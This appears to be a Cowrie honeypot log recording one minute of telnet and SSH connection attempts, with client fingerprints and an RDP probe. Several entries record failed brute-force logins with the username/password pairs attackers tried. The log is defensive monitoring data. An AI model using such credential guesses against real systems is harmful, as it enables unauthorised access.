{"eventid":"cowrie.session.closed","duration":31.278907299041748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:21.887488Z","src_ip":"192.119.13.58","session":"b5d674ac614f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.43706154823303,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:27.555317Z","src_ip":"192.119.13.58","session":"cd0971337560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.87861680984497,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:33.828456Z","src_ip":"192.119.13.58","session":"b512183b002c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33630,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd5d9ed0e3a","protocol":"telnet","message":"New connection: 192.119.13.58:33630 (10.17.0.5:23) [session: 3fd5d9ed0e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:39.624636Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40692,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f8418fc0b1a","protocol":"telnet","message":"New connection: 192.119.13.58:40692 (10.17.0.5:23) [session: 0f8418fc0b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:41.278990Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57416,"dst_ip":"10.17.0.5","dst_port":23,"session":"34c4ac91ec11","protocol":"telnet","message":"New connection: 192.119.13.58:57416 (10.17.0.5:23) [session: 34c4ac91ec11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:45.375714Z"}
{"eventid":"cowrie.session.closed","duration":46.79725360870361,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:46.695797Z","src_ip":"192.119.13.58","session":"4736571ab5c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50676,"dst_ip":"10.17.0.5","dst_port":23,"session":"11d5acc61bb3","protocol":"telnet","message":"New connection: 192.119.13.58:50676 (10.17.0.5:23) [session: 11d5acc61bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:50.330533Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":57092,"dst_ip":"10.17.0.5","dst_port":22,"session":"e69be32af8a2","protocol":"ssh","message":"New connection: 185.236.22.41:57092 (10.17.0.5:22) [session: e69be32af8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:58.437852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:58.443248Z","src_ip":"185.236.22.41","session":"e69be32af8a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:58.571639Z","src_ip":"185.236.22.41","session":"e69be32af8a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57452,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d4449407c5a","protocol":"telnet","message":"New connection: 192.119.13.58:57452 (10.17.0.5:23) [session: 4d4449407c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:58.797004Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"19681968","message":"login attempt [root/19681968] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:59.189134Z","src_ip":"185.236.22.41","session":"e69be32af8a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:00.323918Z","src_ip":"185.236.22.41","session":"e69be32af8a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43148,"dst_ip":"10.17.0.5","dst_port":23,"session":"44e8c1fce37b","protocol":"telnet","message":"New connection: 192.119.13.58:43148 (10.17.0.5:23) [session: 44e8c1fce37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:02.209593Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35156,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74f7198dbd6","protocol":"telnet","message":"New connection: 192.119.13.58:35156 (10.17.0.5:23) [session: b74f7198dbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:07.203827Z"}
{"eventid":"cowrie.session.closed","duration":50.09877848625183,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:07.670792Z","src_ip":"192.119.13.58","session":"3d50af657631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.14672350883484,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:19.425594Z","src_ip":"192.119.13.58","session":"0f8418fc0b1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.73308777809143,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:23.357620Z","src_ip":"192.119.13.58","session":"3fd5d9ed0e3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.793649196624756,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:30.169265Z","src_ip":"192.119.13.58","session":"34c4ac91ec11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.19022250175476,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:30.520597Z","src_ip":"192.119.13.58","session":"11d5acc61bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":63191,"dst_ip":"10.17.0.5","dst_port":22,"session":"6340103e1ec2","protocol":"ssh","message":"New connection: 213.209.159.56:63191 (10.17.0.5:22) [session: 6340103e1ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:33.488417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:33.493695Z","src_ip":"213.209.159.56","session":"6340103e1ec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:33.576327Z","src_ip":"213.209.159.56","session":"6340103e1ec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton","message":"login attempt [leighton/leighton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:33.976120Z","src_ip":"213.209.159.56","session":"6340103e1ec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.22882413864136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:34.025675Z","src_ip":"192.119.13.58","session":"4d4449407c5a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton1","message":"login attempt [leighton/leighton1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:35.064452Z","src_ip":"213.209.159.56","session":"6340103e1ec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton123","message":"login attempt [leighton/leighton123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:36.152994Z","src_ip":"213.209.159.56","session":"6340103e1ec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton1234","message":"login attempt [leighton/leighton1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:37.239074Z","src_ip":"213.209.159.56","session":"6340103e1ec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton12345","message":"login attempt [leighton/leighton12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:38.325639Z","src_ip":"213.209.159.56","session":"6340103e1ec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:39.417547Z","src_ip":"213.209.159.56","session":"6340103e1ec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4fb64d7315","protocol":"telnet","message":"New connection: 192.119.13.58:44014 (10.17.0.5:23) [session: ca4fb64d7315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:45.071115Z"}
{"eventid":"cowrie.session.closed","duration":47.97784066200256,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:50.187338Z","src_ip":"192.119.13.58","session":"44e8c1fce37b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.456581115722656,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:33:53.660280Z","src_ip":"192.119.13.58","session":"b74f7198dbd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37624,"dst_ip":"10.17.0.5","dst_port":23,"session":"42105bdc80da","protocol":"telnet","message":"New connection: 192.119.13.58:37624 (10.17.0.5:23) [session: 42105bdc80da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:11.803415Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56950,"dst_ip":"159.203.135.109","dst_port":22,"session":"380d7f6bb48a","protocol":"ssh","message":"New connection: 167.172.81.52:56950 (159.203.135.109:22) [session: 380d7f6bb48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:11.824074Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:11.829611Z","src_ip":"167.172.81.52","session":"380d7f6bb48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:11.834945Z","src_ip":"167.172.81.52","session":"380d7f6bb48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.47728943824768,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:21.548259Z","src_ip":"192.119.13.58","session":"ca4fb64d7315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":45926,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2e0d9637c8e","protocol":"ssh","message":"New connection: 176.65.148.108:45926 (159.203.135.109:22) [session: e2e0d9637c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:32.353175Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:32.440271Z","src_ip":"176.65.148.108","session":"e2e0d9637c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":45938,"dst_ip":"159.203.135.109","dst_port":22,"session":"280a541c6288","protocol":"ssh","message":"New connection: 176.65.148.108:45938 (159.203.135.109:22) [session: 280a541c6288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:32.518836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:32.524467Z","src_ip":"176.65.148.108","session":"280a541c6288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:32.607338Z","src_ip":"176.65.148.108","session":"280a541c6288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"5434","message":"login attempt [aaa/5434] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:32.857260Z","src_ip":"176.65.148.108","session":"280a541c6288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:33.943357Z","src_ip":"176.65.148.108","session":"280a541c6288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":42662,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cbf20c57527","protocol":"ssh","message":"New connection: 103.195.236.96:42662 (10.17.0.5:22) [session: 3cbf20c57527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:38.209312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:38.215940Z","src_ip":"103.195.236.96","session":"3cbf20c57527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:38.460697Z","src_ip":"103.195.236.96","session":"3cbf20c57527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:39.213741Z","src_ip":"103.195.236.96","session":"3cbf20c57527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:40.459991Z","src_ip":"103.195.236.96","session":"3cbf20c57527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57658,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc7f8637aeb","protocol":"telnet","message":"New connection: 192.119.13.58:57658 (10.17.0.5:23) [session: dbc7f8637aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:44.796695Z"}
{"eventid":"cowrie.session.closed","duration":33.26530957221985,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:45.068580Z","src_ip":"192.119.13.58","session":"42105bdc80da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":59305,"dst_ip":"159.203.135.109","dst_port":22,"session":"d954c166597d","protocol":"ssh","message":"New connection: 103.219.170.37:59305 (159.203.135.109:22) [session: d954c166597d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:54.508695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:54.514422Z","src_ip":"103.219.170.37","session":"d954c166597d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:54.607211Z","src_ip":"103.219.170.37","session":"d954c166597d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd999","message":"login attempt [root/P@ssw0rd999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:54.871732Z","src_ip":"103.219.170.37","session":"d954c166597d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:55.964877Z","src_ip":"103.219.170.37","session":"d954c166597d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45626,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c894cb52c6","protocol":"telnet","message":"New connection: 192.119.13.58:45626 (10.17.0.5:23) [session: a6c894cb52c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:56.264788Z"}
{"eventid":"cowrie.session.closed","duration":0.0060575008392333984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:34:56.270698Z","src_ip":"192.119.13.58","session":"a6c894cb52c6","protocol":"telnet"}
